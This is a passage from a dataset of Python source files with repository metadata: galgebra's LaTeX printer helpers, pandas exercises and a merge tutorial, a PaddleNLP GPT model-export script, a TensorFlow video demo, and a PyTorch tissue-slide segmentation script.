pdflatex)\n\n    if pdfprog is not None:\n        if debug:  # Display latex excution output for debugging purposes\n            os.system(pdfprog + ' ' + filename[:-4])\n        else:  # Works for Linux don't know about Windows\n            os.system(pdfprog + ' ' + filename[:-4] + sys_cmd['null'])\n\n        print_cmd = sys_cmd['evince'] + ' ' + filename[:-4] + '.pdf ' + sys_cmd['&']\n        print(print_cmd)\n\n        os.system(print_cmd)\n        eval(input('!!!!Return to continue!!!!\\n'))\n\n        if debug:\n            os.system(sys_cmd['rm'] + ' ' + filename[:-4] + '.aux ' + filename[:-4] + '.log')\n        else:\n            os.system(sys_cmd['rm'] + ' ' + filename[:-4] + '.aux ' + filename[:-4] + '.log ' + filename[:-4] + '.tex')\n        if crop:\n            os.system('pdfcrop ' + filename[:-4] + '.pdf')\n            os.remove(filename[:-4] + '.pdf')\n            os.rename(filename[:-4] + '-crop.pdf', filename[:-4] + '.pdf')\n        if png:\n            os.system('Pdf2Png ' + filename[:-4])\n    return\n\n\ndef xdvi(filename=None, debug=False, paper=(14, 11)):\n    xpdf(filename=filename, paper=paper, crop=False, png=False, prog=False, debug=debug, pt='10pt')\n    return\n\n\ndef LatexFormat(Fmode=True, Dmode=True, ipy=False):\n    GaLatexPrinter.set_global_settings(\n        omit_partial_derivative_fraction=Dmode,\n        omit_function_args=Fmode\n    )\n    GaLatexPrinter.ipy = ipy\n    GaLatexPrinter.redirect()\n    return\n\n\noff_mode = False\n\n\ndef Get_Program(off=False):\n    global off_mode\n    off_mode = off\n    # galgebra 0.5.0\n    warnings.warn(\n        \"galgebra.printer.Get_Program is deprecated, and exists solely to \"\n        \"toggle whether galgebra.printer.Print_Function does anything. If you \"\n        \"want to turn off program printing, then just don't call Print_Function!\",\n        DeprecationWarning, stacklevel=2)\n\n\ndef Print_Function():\n    \"\"\" Print out the source of the current function \"\"\"\n    if off_mode:\n        return\n\n    tmp_str = inspect.getsource(inspect.currentframe().f_back)\n    if GaLatexPrinter.latex_flg:\n        #print '#Code for '+fct_name\n        print(r'##\\begin{lstlisting}[language=Python,showspaces=false,'\n              r'showstringspaces=false,backgroundcolor=\\color{gray},frame=single]')\n        print(tmp_str)\n        print('##\\\\end{lstlisting}')\n        print('#Code Output:')\n    else:\n        print('\\n' + 80 * '*')\n        #print '\\nCode for '+fct_name\n        print(tmp_str)\n        print('Code output:\\n')\n    return\n\n\n_eval_global_dict = {}\n_eval_parse_order = []\n\n\ndef def_prec(gd: dict, op_ord: str = '<>|,^,*') -> None:\n    \"\"\"\n    This is used with the ``GAeval()`` function to evaluate a string representing a multivector expression with a revised operator precedence.\n\n    Parameters\n    ----------\n    gd :\n        The ``globals()`` dictionary to lookup variable names in.\n    op_ord :\n        The order of operator precedence from high to low with groups of equal precedence separated by commas.\n        The default precedence, ``'<>|,^,*'``, is that used by Hestenes (:cite:`Hestenes`, p7, :cite:`Doran`, p38).\n        This means that the ``<``, ``>``, and ``|`` operations have equal\n        precedence, followed by ``^``, and lastly ``*``.\n    \"\"\"\n    global _eval_global_dict, _eval_parse_order\n    op_ord_list = op_ord.split(',')\n    _parser.validate_op_order(op_ord_list)\n    _eval_global_dict = gd\n    _eval_parse_order = op_ord_list\n\n\ndef GAeval(s: str, pstr: bool = False):\n    \"\"\"\n    Evaluate a multivector expression string ``s``.\n\n    The operator precedence and variable values within the string are\n    controlled by :func:`def_prec`. The documentation for that function\n    describes the default precedence.\n\n    The implementation works by adding parenthesis to the input string ``s``\n    according to the requested precedence, and then calling :func:`eval` on the\n    result.\n\n    For example consider where ``X``, ``Y``, ``Z``, and ``W`` are multivectors::\n\n        def_prec(globals())\n        V = GAeval('X|Y^Z*W')\n\n    The *sympy* variable ``V`` would evaluate to ``((X|Y)^Z)*W``.\n\n    Parameters\n    ----------\n    s :\n        The string to evaluate.\n    pstr :\n        If ``True``, the values of ``s`` and ``s`` with parenthesis added to\n        enforce operator precedence are printed.\n    \"\"\"\n\n    seval = _parser.parse_line(s, _eval_parse_order)\n    if pstr:\n        print(s)\n        print(seval)\n    return eval(seval, _eval_global_dict)\n\n\ndef Fmt(obj, fmt=0):\n    if isinstance(obj, (list, tuple, dict)):\n        n = len(obj)\n        if isinstance(obj, list):\n            ldelim = '['\n            rdelim = ']'\n        elif isinstance(obj, dict):\n            ldelim = r'\\{'\n            rdelim = r'\\}'\n        else:\n            ldelim = '('\n            rdelim = ')'\n        if fmt == 1:\n            latex_str = r' \\left ' + ldelim + r' \\begin{array}{' + n*'c' + '} '\n            for cell in obj:\n                if isinstance(obj, dict):\n                    #cell.title = None\n                    latex_cell = latex(cell) + ' : ' + latex(obj[cell])\n                else:\n                    #title = cell.title\n                    #cell.title = None\n                    latex_cell = latex(cell)\n                latex_cell = latex_cell.replace('\\n', ' ')\n                latex_str += latex_cell + ', & '\n                #cell.title = title\n            latex_str = latex_str[:-4]\n            latex_str += r'\\\\ \\end{array} \\right ' + rdelim + ' \\n'\n        else:\n            latex_str = ''\n            i = 1\n            for cell in obj:\n                #title = cell.title\n                #cell.title = None\n                latex_cell = latex(cell)\n                latex_cell = latex_cell.replace('\\n', ' ')\n                #cell.title = title\n                if i == 1:\n                    latex_str += r'\\begin{array}{c} \\left ' + ldelim + r' ' + latex_cell + r', \\right. \\\\ '\n                elif i == n:\n                    latex_str += r' \\left. ' + latex_cell + r'\\right ' + rdelim + r' \\\\ \\end{array}'\n                else:\n                    latex_str += r' ' + latex_cell + r', \\\\'\n                i += 1\n        if isinteractive():  # For Ipython notebook\n            latex_str = r'\\begin{equation*} ' + latex_str + r'\\end{equation*}'\n            return latex_str\n        else:\n            return latex_str\n\n    elif isinstance(obj, int):\n        LatexPrinter.set_global_settings(galgebra_mv_fmt=obj)\n        return\n    else:\n        raise TypeError(str(type(obj)) + ' not allowed arg type in Fmt')\n\n\nclass _WithSettings(GaPrintable):\n    \"\"\" Helper class to attach print settings to an object \"\"\"\n    def __init__(self, obj, settings: dict = {}):\n        self._obj = obj\n        self._settings = settings\n\n    def __do_print(self, printer):\n        # make a copy of the printer with the specified setting applied\n        new_printer = copy.copy(printer)\n        new_printer._settings = copy.copy(new_printer._settings)\n        new_printer._settings.update(self._settings)\n        return new_printer._print(self._obj)\n\n    _latex = _pretty = _sympystr = __do_print\n\n\nclass _FmtResult(GaPrintable):\n    \"\"\" Object returned from .Fmt methods, which can be printed as latex \"\"\"\n    def __new__(cls, obj, label: str) -> GaPrintable:\n        if label is None:\n            return obj\n        self = super().__new__(cls)\n        self._obj = obj\n        self._label = label\n        return self\n\n    def _latex(self, printer):\n        return self._label + ' = ' + printer._print(self._obj)\n\n    def _sympystr(self, printer):\n        return self._label + ' = ' + printer._print(self._obj)\n", "meta": {"hexsha": "5afb3c6f179b872475bc1b971188122640b25002", "size": 42443, "ext": "py", "lang": "Python", "max_stars_repo_path": "galgebra/printer.py", "max_stars_repo_name": "pygae/galgebra", "max_stars_repo_head_hexsha": "3a53b29fb141be1ae47d8df8fc7005c10869cded", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 151, "max_stars_repo_stars_event_min_datetime": "2018-09-18T12:30:14.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-16T08:02:48.000Z", "max_issues_repo_path": "galgebra/printer.py", "max_issues_repo_name": "caiomrcs/galgebra", "max_issues_repo_head_hexsha": "3a53b29fb141be1ae47d8df8fc7005c10869cded", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 454, "max_issues_repo_issues_event_min_datetime": "2018-09-19T01:42:30.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-18T14:02:00.000Z", "max_forks_repo_path": "galgebra/printer.py", "max_forks_repo_name": "caiomrcs/galgebra", "max_forks_repo_head_hexsha": "3a53b29fb141be1ae47d8df8fc7005c10869cded", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 30, "max_forks_repo_forks_event_min_datetime": "2019-02-22T08:25:50.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-15T05:20:22.000Z", "avg_line_length": 34.0360866079, "max_line_length": 142, "alphanum_fraction": 0.5693047146, "include": true, "reason": "from sympy", "num_tokens": 10821, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879061178313897, "lm_q2_score": 0.17106118956561073, "lm_q1q2_score": 0.08019187970881415}}
{"text": "\"\"\"\nSelecting Data IV - Access Slices\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nwine_reviews = pd.read_csv('../winemag-data-130k.csv')\n\n\n# Print first 3 values in the 'province' column.\n\n\n\n# Create a Series called \"provinces\" and print the first 3 values.\n\n", "meta": {"hexsha": "43a58095fdbaf0ba5e897cedc637169752137a4e", "size": 259, "ext": "py", "lang": "Python", "max_stars_repo_path": "pset_pandas1_wine_reviews/selecting_data/p4.py", "max_stars_repo_name": "mottaquikarim/pydev-psets", "max_stars_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2019-04-08T20:05:37.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-04T20:48:45.000Z", "max_issues_repo_path": "pset_pandas1_wine_reviews/selecting_data/p4.py", "max_issues_repo_name": "mottaquikarim/pydev-psets", "max_issues_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-04-15T15:16:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-12T10:33:32.000Z", "max_forks_repo_path": "pset_pandas1_wine_reviews/selecting_data/p4.py", "max_forks_repo_name": "mottaquikarim/pydev-psets", "max_forks_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-04-10T00:14:42.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-26T20:35:21.000Z", "avg_line_length": 16.1875, "max_line_length": 66, "alphanum_fraction": 0.7142857143, "include": true, "reason": "import numpy", "num_tokens": 67, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4073334000459302, "lm_q2_score": 0.19682620599875825, "lm_q1q2_score": 0.08017388770761487}}
{"text": "# Now we'll learn how to merge data sets by linking rows by keys.\n\nimport numpy as np\nimport pandas as pd\nfrom pandas import Series, DataFrame\n\n# Let's make a dframe\n\ndframe1 = DataFrame(\n    {'key': ['X', 'Z', 'Y', 'Z', 'X', 'X'], 'data_set_1': np.arange(6)})\n\n# Now lets make another dframe\n\ndframe2 = DataFrame({'key': ['Q', 'Y', 'Z'], 'data_set_2': [1, 2, 3]})\n\n# Now we can use merge the dataframes, this is a \"many-to-one\" situation\n\n# Merge will automatically choose overlapping columns to merge on\npd.merge(dframe1, dframe2)\n\n# Note no overlapping 'X's\n\n# We could have also specified which column to merge on\npd.merge(dframe1, dframe2, on='key')\n\n# We can choose which DataFrame's keys to use, this will choose left (dframe1)\npd.merge(dframe1, dframe2, on='key', how='left')\n\n# Choosing the one on the right (dframe2)\npd.merge(dframe1, dframe2, on='key', how='right')\n\n# Choosing the \"outer\" method selects the union of both keys\npd.merge(dframe1, dframe2, on='key', how='outer')\n\n# Now we'll learn about a many to many merge\n\n# Nnote that these DataFrames contain more than one instance of the key in\n# BOTH datasets\n\ndframe3 = DataFrame({'key': ['X', 'X', 'X', 'Y', 'Z', 'Z'],\n                     'data_set_3': range(6)})\ndframe4 = DataFrame({'key': ['Y', 'Y', 'X', 'X', 'Z'],\n                     'data_set_4': range(5)})\n\n# Show the merge\npd.merge(dframe3, dframe4)\n\n# We can also merge with multiple keys!\n\n# Dframe on left\ndf_left = DataFrame({'key1': ['SF', 'SF', 'LA'],\n                     'key2': ['one', 'two', 'one'],\n                     'left_data': [10, 20, 30]})\n\n# Dframe on right\ndf_right = DataFrame({'key1': ['SF', 'SF', 'LA', 'LA'],\n                      'key2': ['one', 'one', 'one', 'two'],\n                      'right_data': [40, 50, 60, 70]})\n\n# Merge\npd.merge(df_left, df_right, on=['key1', 'key2'], how='outer')\n\n# Now using the above you can check mulitple data sets for multiple key combos,\n# for instance what did the left data set have for LA,one?\n# Answer =  60\n\n# Note that the left and right DataFrames have overlapping key names\n# (key1 and key2).\n# pandas automatically adds suffixes to them\n\npd.merge(df_left, df_right, on='key1')\n\n# We can also specify what the suffix becomes\npd.merge(df_left, df_right, on='key1', suffixes=('_lefty', '_righty'))\n\n# For more info on merge parameters check out:\nurl = 'http://pandas.pydata.org/pandas-docs/dev/generated/pandas.DataFrame.merge.html'\n", "meta": {"hexsha": "ecd4c01f1bfac5ddfe7f0eceb77025c0449b449a", "size": 2432, "ext": "py", "lang": "Python", "max_stars_repo_path": "working-with-data/part2/merge.py", "max_stars_repo_name": "LucasHelal/data-science", "max_stars_repo_head_hexsha": "9b243be1dea23a521e6ebb49dc358708a9b17dbd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "working-with-data/part2/merge.py", "max_issues_repo_name": "LucasHelal/data-science", "max_issues_repo_head_hexsha": "9b243be1dea23a521e6ebb49dc358708a9b17dbd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "working-with-data/part2/merge.py", "max_forks_repo_name": "LucasHelal/data-science", "max_forks_repo_head_hexsha": "9b243be1dea23a521e6ebb49dc358708a9b17dbd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.1794871795, "max_line_length": 86, "alphanum_fraction": 0.6410361842, "include": true, "reason": "import numpy", "num_tokens": 713, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.16667539640920673, "lm_q1q2_score": 0.08008397412980653}}
{"text": "# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport sys\nimport os\nimport numpy as np\nfrom attrdict import AttrDict\nimport argparse\nimport time\n\nimport paddle\n\nimport yaml\nfrom pprint import pprint\n\nfrom paddlenlp.ops import FasterGPT\nfrom paddlenlp.transformers import GPTModel, GPTLMHeadModel\nfrom paddlenlp.transformers import GPTChineseTokenizer, GPTTokenizer\n\nfrom paddlenlp.utils.log import logger\n\nMODEL_CLASSES = {\n    \"gpt-cpm-large-cn\": (GPTLMHeadModel, GPTChineseTokenizer),\n    \"gpt2-medium-en\": (GPTLMHeadModel, GPTTokenizer),\n}\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--model_name_or_path\",\n        default=\"gpt2-medium-en\",\n        type=str,\n        help=\"The model name to specify the gpt to use. Can be one of ['gpt2-en', 'gpt2-medium-en', 'gpt-cpm-large-cn']. \"\n    )\n    parser.add_argument(\n        \"--decoding_lib\",\n        default=\"../../build/lib/libdecoding_op.so\",\n        type=str,\n        help=\"Path of libdecoding_op.so. \")\n    parser.add_argument(\n        \"--inference_model_dir\",\n        default=\"./infer_model/\",\n        type=str,\n        help=\"Path to save inference model of gpt. \")\n    parser.add_argument(\n        \"--topk\",\n        default=4,\n        type=int,\n        help=\"The number of candidate to procedure beam search. \")\n    parser.add_argument(\n        \"--topp\",\n        default=0.0,\n        type=float,\n        help=\"The probability threshold to procedure topp sampling. \")\n    parser.add_argument(\n        \"--max_out_len\", default=32, type=int, help=\"Maximum output length. \")\n    parser.add_argument(\n        \"--start_token\",\n        default=\"<|endoftext|>\",\n        type=str,\n        help=\"The start token. Defaults to <|endoftext|>. \")\n    parser.add_argument(\n        \"--end_token\",\n        default=\"<|endoftext|>\",\n        type=str,\n        help=\"The end token. Defaults to <|endoftext|>. \")\n    parser.add_argument(\n        \"--temperature\",\n        default=1.0,\n        type=float,\n        help=\"The temperature to set. \")\n    parser.add_argument(\n        \"--use_fp16_decoding\",\n        action=\"store_true\",\n        help=\"Whether to use fp16 decoding to predict. \")\n    args = parser.parse_args()\n    return args\n\n\ndef do_predict(args):\n    place = \"gpu\"\n    place = paddle.set_device(place)\n\n    model_class, tokenizer_class = MODEL_CLASSES[args.model_name_or_path]\n    tokenizer = tokenizer_class.from_pretrained(args.model_name_or_path)\n    logger.info('Loading the model parameters, please wait...')\n    model = model_class.from_pretrained(\n        args.model_name_or_path, max_predict_len=args.max_out_len)\n\n    bos_id = tokenizer.convert_tokens_to_ids(args.start_token)\n    eos_id = tokenizer.convert_tokens_to_ids(args.end_token)\n\n    gpt = FasterGPT(\n        model=model,\n        topk=args.topk,\n        topp=args.topp,\n        max_out_len=args.max_out_len,\n        bos_id=bos_id,\n        eos_id=eos_id,\n        temperature=args.temperature,\n        decoding_lib=args.decoding_lib,\n        use_fp16_decoding=args.use_fp16_decoding)\n\n    # Set evaluate mode\n    gpt.eval()\n\n    # Convert dygraph model to static graph model \n    gpt = paddle.jit.to_static(\n        gpt,\n        input_spec=[\n            # input_ids\n            paddle.static.InputSpec(\n                shape=[None, None], dtype=\"int32\")\n        ])\n\n    # Save converted static graph model\n    paddle.jit.save(gpt, os.path.join(args.inference_model_dir, \"gpt\"))\n    logger.info(\"GPT has been saved to {}\".format(args.inference_model_dir))\n\n    gpt.save_resources(tokenizer, args.inference_model_dir)\n\n\nif __name__ == \"__main__\":\n    args = parse_args()\n    pprint(args)\n    do_predict(args)\n", "meta": {"hexsha": "0a680e953353b143bafc91b4b0f445309ab8c860", "size": 4231, "ext": "py", "lang": "Python", "max_stars_repo_path": "paddlenlp/ops/faster_transformer/sample/gpt_export_model_sample.py", "max_stars_repo_name": "paddlelaw/PaddleNLP", "max_stars_repo_head_hexsha": "3cd45be7ffd3074de41cedf39de5026ede1e206f", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-10-01T13:18:14.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-01T13:18:14.000Z", "max_issues_repo_path": "paddlenlp/ops/faster_transformer/sample/gpt_export_model_sample.py", "max_issues_repo_name": "paddlelaw/PaddleNLP", "max_issues_repo_head_hexsha": "3cd45be7ffd3074de41cedf39de5026ede1e206f", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "paddlenlp/ops/faster_transformer/sample/gpt_export_model_sample.py", "max_forks_repo_name": "paddlelaw/PaddleNLP", "max_forks_repo_head_hexsha": "3cd45be7ffd3074de41cedf39de5026ede1e206f", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.6594202899, "max_line_length": 122, "alphanum_fraction": 0.665090995, "include": true, "reason": "import numpy", "num_tokens": 993, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.17781087601343812, "lm_q1q2_score": 0.07990689800816571}}
{"text": "from __future__ import absolute_import, division, print_function\n\nimport os\n\nimport tensorflow as tf\nfrom tensorflow import keras\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport os, sys, cv2\n\nif __name__ == '__main__':\n\n    IMG_SHAPE = (1224, 1624, 3)\n\n    base_model = tf.keras.applications.MobileNetV2(input_shape=IMG_SHAPE,\n                                                   include_top=False,\n                                                   weights='imagenet')\n\n    base_model.trainable = False\n\n    capture = cv2.VideoCapture('videos/s08-d14-cam-002.avi')\n    # Check if camera opened successfully\n    if not capture.isOpened():\n        print(\"Error opening video stream or file\")\n    size = (\n        int(capture.get(cv2.CAP_PROP_FRAME_WIDTH)),\n        int(capture.get(cv2.CAP_PROP_FRAME_HEIGHT))\n    )\n    codec = cv2.VideoWriter_fourcc(*'DIVX')\n    output = cv2.VideoWriter('videos/videofile_masked_2.avi', codec, 60.0, size)\n\n    i = 0\n    while capture.isOpened():\n        i = i + 1\n        ret, frame = capture.read()\n        print(frame.shape)\n\n    capture.release()\n    output.release()\n    cv2.destroyAllWindows()", "meta": {"hexsha": "cc3e01f469a287d7aaa641b64c46806c09c77af0", "size": 1175, "ext": "py", "lang": "Python", "max_stars_repo_path": "tools/demo2.py", "max_stars_repo_name": "StefanoLia/Faster-RCNN_TF", "max_stars_repo_head_hexsha": "b41949bcacfe67b5a3ab5bbb547ef00615523290", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tools/demo2.py", "max_issues_repo_name": "StefanoLia/Faster-RCNN_TF", "max_issues_repo_head_hexsha": "b41949bcacfe67b5a3ab5bbb547ef00615523290", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tools/demo2.py", "max_forks_repo_name": "StefanoLia/Faster-RCNN_TF", "max_forks_repo_head_hexsha": "b41949bcacfe67b5a3ab5bbb547ef00615523290", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.3255813953, "max_line_length": 80, "alphanum_fraction": 0.6340425532, "include": true, "reason": "import numpy", "num_tokens": 275, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.6076631698328917, "lm_q2_score": 0.13117323225300484, "lm_q1q2_score": 0.07970914210808702}}
{"text": "# -*- coding: utf-8 -*-\n\nimport os, sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport argparse, uuid, time\nfrom timeit import default_timer as timer\nfrom skimage import io, transform, morphology\nfrom collections import defaultdict\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\n\nimport PIL\nPIL.Image.MAX_IMAGE_PIXELS = None\nimport warnings\nwarnings.simplefilter(\"ignore\", UserWarning)\nimport pydaily\n\n\nfrom segnet import pspnet, UNet\nfrom utils import wsi_stride_splitting\nfrom patch_loader import PatchDataset\n\n\ndef set_args():\n    parser = argparse.ArgumentParser(description = 'Colon Tumor Slide Segmentation')\n    parser.add_argument(\"--class_num\",       type=int,   default=1)\n    parser.add_argument(\"--in_channels\",     type=int,   default=3)\n    parser.add_argument(\"--batch_size\",      type=int,   default=24)\n    parser.add_argument(\"--stride_len\",      type=int,   default=448)\n    parser.add_argument(\"--patch_len\",       type=int,   default=448)\n    parser.add_argument(\"--model_name\",      type=str,   default=\"UNet\")\n    parser.add_argument(\"--gpu\",             type=str,   default=\"1, 2, 3\")\n    parser.add_argument(\"--best_model\",      type=str,   default=\"UNet-048-0.623.pth\")\n    parser.add_argument(\"--model_dir\",       type=str,   default=\"../data/PatchSeg/Model1235\")\n    parser.add_argument(\"--slides_dir\",      type=str,   default=\"../data/SlideSeg/TestPosSlides\")\n    parser.add_argument(\"--result_dir\",      type=str,   default=\"../data/SlideSeg/TestPosResultsPred\")\n    parser.add_argument(\"--seed\",            type=int,   default=1234)\n\n    args = parser.parse_args()\n    return args\n\n\ndef test_slide_seg(args):\n    if args.model_name == \"UNet\":\n        model = UNet(n_channels=args.in_channels, n_classes=args.class_num)\n    elif args.model_name == \"PSP\":\n        model = pspnet.PSPNet(n_classes=19, input_size=(args.patch_len, args.patch_len))\n        model.classification = nn.Conv2d(512, args.class_num, kernel_size=1)\n    else:\n        raise NotImplemented(\"Unknown model {}\".format(args.model_name))\n\n    model_path = os.path.join(args.model_dir, args.best_model)\n    model = nn.DataParallel(model)\n    model.load_state_dict(torch.load(model_path))\n    model.cuda()\n    model.eval()\n\n    since = time.time()\n    pydaily.filesystem.overwrite_dir(args.result_dir)\n    slide_names = [ele for ele in os.listdir(args.slides_dir) if \"jpg\" in ele]\n\n    ttl_pred_dice = 0.0\n    for num, cur_slide in enumerate(slide_names):\n        print(\"--{:2d}/{:2d} Slide:{}\".format(num+1, len(slide_names), cur_slide))\n        start_time = timer()\n        # load slide image and mask\n        slide_path = os.path.join(args.slides_dir, cur_slide)\n        slide_img = io.imread(slide_path)\n        # split and predict\n        coors_arr = wsi_stride_splitting(slide_img.shape[0], slide_img.shape[1], patch_len=args.patch_len, stride_len=args.stride_len)\n        wmap = np.zeros((slide_img.shape[0], slide_img.shape[1]), dtype=np.int32)\n        pred_map = np.zeros_like(wmap).astype(np.float32)\n\n        patch_list, coor_list = [], []\n        for ic, coor in enumerate(coors_arr):\n            ph, pw = coor[0], coor[1]\n            patch_list.append(slide_img[ph:ph+args.patch_len, pw:pw+args.patch_len] / 255.0)\n            coor_list.append([ph, pw])\n            wmap[ph:ph+args.patch_len, pw:pw+args.patch_len] += 1\n            if len(patch_list) == args.batch_size or ic+1 == len(coors_arr):\n                patch_arr = np.asarray(patch_list).astype(np.float32)\n                patch_dset = PatchDataset(patch_arr)\n                patch_loader = DataLoader(patch_dset, batch_size=args.batch_size, shuffle=False, num_workers=4, drop_last=False)\n                with torch.no_grad():\n                    pred_list = []\n                    for patches in patch_loader:\n                        inputs = Variable(patches.cuda())\n                        outputs = model(inputs)\n                        preds = F.sigmoid(outputs)\n                        preds = torch.squeeze(preds, dim=1).data.cpu().numpy()\n                        pred_list.append(preds)\n                    batch_preds = np.concatenate(pred_list, axis=0)\n                    for ind, coor in enumerate(coor_list):\n                        ph, pw = coor[0], coor[1]\n                        pred_map[ph:ph+args.patch_len, pw:pw+args.patch_len] += batch_preds[ind]\n                patch_list, coor_list = [], []\n\n        prob_pred = np.divide(pred_map, wmap)\n        slide_pred = morphology.remove_small_objects(prob_pred>0.5, min_size=20480).astype(np.uint8)\n        pred_save_path = os.path.join(args.result_dir, os.path.splitext(cur_slide)[0]+\".png\")\n        io.imsave(pred_save_path, slide_pred*255)\n        end_time = timer()\n        print(\"Takes {}\".format(pydaily.tic.time_to_str(end_time-start_time, 'sec')))\n\n    time_elapsed = time.time() - since\n    print(\"stride-len: {} with batch-size: {}\".format(args.stride_len, args.batch_size))\n    print(\"Testing takes {:.0f}m {:.2f}s\".format(time_elapsed // 60, time_elapsed % 60))\n\n\nif  __name__ == '__main__':\n    args = set_args()\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu\n    torch.cuda.manual_seed(args.seed)\n    cudnn.benchmark = True\n\n    # train model\n    print(\"Prediction using model: {}\".format(args.best_model))\n    test_slide_seg(args)\n", "meta": {"hexsha": "4b89620ee0422709e3f4861becd32cae35637d13", "size": 5426, "ext": "py", "lang": "Python", "max_stars_repo_path": "wsi-seg/pred_slide_seg.py", "max_stars_repo_name": "PingjunChen/ColonTissueSegCls", "max_stars_repo_head_hexsha": "622a935fabf5529a0b40301274f402b624f3015c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-09-30T15:23:58.000Z", "max_stars_repo_stars_event_max_datetime": "2019-09-30T15:23:58.000Z", "max_issues_repo_path": "wsi-seg/pred_slide_seg.py", "max_issues_repo_name": "PingjunChen/ColonTissueSegCls", "max_issues_repo_head_hexsha": "622a935fabf5529a0b40301274f402b624f3015c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2021-06-08T20:27:44.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T00:43:03.000Z", "max_forks_repo_path": "wsi-seg/pred_slide_seg.py", "max_forks_repo_name": "PingjunChen/ColonTissueSegCls", "max_forks_repo_head_hexsha": "622a935fabf5529a0b40301274f402b624f3015c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-10-17T18:55:02.000Z", "max_forks_repo_forks_event_max_datetime": "2019-10-17T18:55:02.000Z", "avg_line_length": 43.7580645161, "max_line_length": 134, "alphanum_fraction": 0.6490969407, "include": true, "reason": "import numpy", "num_tokens": 1311, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.1581743527484317, "lm_q1q2_score": 0.07970503236937815}}
